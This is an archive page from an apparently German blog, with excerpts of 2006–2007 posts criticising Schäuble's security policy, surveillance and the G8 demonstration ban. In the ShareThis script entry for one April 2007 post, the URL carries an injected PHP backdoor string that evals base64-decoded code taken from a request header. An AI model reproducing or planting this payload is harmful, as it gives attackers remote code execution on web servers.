Sonntag, November 11th, 2007
Macht hoch die Tür, die Tor macht weit,
Hier positioniert sich der HERR der Staatssicherheit!
Krakeelt: "Im Namen des Gesetzes! - Bürger! Lasst mich ein!
Das, was ihr euch zu tun erlaubtet darf nicht länger ungestraft sein."
Schwarze Haare, schwarzer Bart - Fähig zu jeder Gräueltat!
Der Osten der Welt, die Achse des Bösen! ...
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Mittwoch, Juni 6th, 2007
Das Bundesverfassungsgericht hat einen Eilantrag gegen das weiträumige Demonstrationsverbot rund um Heiligendamm abgelehnt. Damit ist die letzte Bastion zum Schutze der Versammlungsfreiheit gefallen. Besonders traurig stimmt die Argumentation. So scheinen die Karlsruher Richter das Versammlungsverbot für verfassungswidrig zu halten.
Es bestehen zwar erhebliche Zweifel an der Tragfähigkeit der
Argumentation der Behörde und ...
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Sonntag, Juni 3rd, 2007
Die Verfassung würde der Lebenswirklichkeit angepasst, wie schon so oft. Lösen Sie sich von der Vorstellung, eine Verfassungsänderung sei etwas Verwerfliches. Das Gegenteil ist der Fall. Das ist notwendig. Sonst wäre die Verfassung starr. Früher gab es keine Telefone, also auch keine Telefonüberwachung. Heute nutzen Verbrecher Computer, also müssen wir ...
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Mittwoch, Mai 23rd, 2007
Scheinbar neue Töne aus der SPD und CDU/CSU. Nach den Anschlägen auf die verfassungsmäßige demokratische Grundordnung in den letzten Monaten, mit denen man vorgeblich die innere Sicherheit zu schützten dachte, könnte man nun an einen Meinungsumschwung glauben.
Immerhin möchte man ein neues Grundrecht einführen.
Diese Welt [gemeint ist das Internet, Anm. Verf.] ...
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Freitag, Mai 11th, 2007
Wolfgang Schäuble provoziert wieder. Nach der heftig kritisierten Razzia im Vorfeld des G8-Gipfels, bei der 40 Wohnungen von Linksautonomen wegen Verdachts auf Bildung terroristischer Vereinigungen durchsucht wurden, fordert der Innenminister jetzt die präventive Inhaftnahme von Demonstranten,
wenn es tatsächliche Anhaltspunkte für geplante Straftaten gibt. Dies gelte nicht nur für Hooligans, sondern ...
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Freitag, April 20th, 2007
... aus dem wie der Nordwind der Terror kommt. Dies suggeriert zumindest die US-Botschaft in Berlin:
Die diplomatischen und konsularischen Einrichtungen der Vereinigten Staaten in Deutschland verstärken ihre Sicherheitsmaßnahmen. Wir unternehmen diese Schritte als Reaktion auf eine erhöhte Bedrohungslage. Die US-Botschaft empfiehlt Amerikanern in Deutschland, ihre Wachsamkeit zu verstärken und angemessene ...
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Montag, April 16th, 2007
Wolfgang Schäubles neuester Coup ist die Schaffung eines neuen Sicherheitsbegriffes, und die Einebnung zwischen äußerer und innerer Sicherheit...SHARETHIS.addEntry({ title: "Kurz notiert: Schäuble schäubelt wieder", url: "http://www.lawlita.com/2007/04/16/kurz-notiert-schaeuble-schaeubelt-wieder/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });
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Donnerstag, November 16th, 2006
Die Menschen in der Bundesrepublik fühlen sich relativ sicher und haben keine Angst Opfer einer Gewalttat zu werden.
REGIERUNGonline - Deutschland - eines der sichersten Länder
Schön wär' es. Jedem halbwegs fähigen Beobachter fällt eines auf: Die Menschen in der Bundesrepublik könnten sich relativ sicher fühlen. Sie tun es aber nicht. Fragt ...
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Donnerstag, Januar 1st, 1970
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Schäuble: Alle grundrechtlich geschützten Bereiche enden irgendwo. Wo diese Grenzen sind, wie man die gegensätzlichen Interessen abgrenzt, ist Sache des Gesetzgebers. Ich verstehe, dass manche Verfassungsrichter gern Ratschläge geben würden. Dazu sind sie aber nicht demokratisch legitimiert. Sie haben – ...
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Donnerstag, Januar 1st, 1970
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Ich bewerte das Urteil alles in allem überwiegend positiv.
Das Überraschendste ist sicherlich, dass das BVerfG ohne Not ein neues Grundrecht aus der Taufe gehoben hat. Ein Schelm wer annimmt, dass das BVerfG damit legislativen Bestrebungen zuvorkommen wollte, das Grundgesetz in dieser Richtung anzupassen...
Soweit kein hinreichender Schutz vor ...
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Donnerstag, Januar 1st, 1970
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Eben bin ich über den Artikel 'Mit Sicherheit untergehen' in derStandard zum Spannungsfeld zwischen Freiheit und Sicherheit gestolpert, der absolut lesenswert ist. Ein kleiner Auszug:
Wir wollen, dass Sie sicher leben! – wirbt die Polizei auf dem Boden einer U-Bahn-Haltestelle. Und an allen größeren Bahnhöfen sieht man den ...
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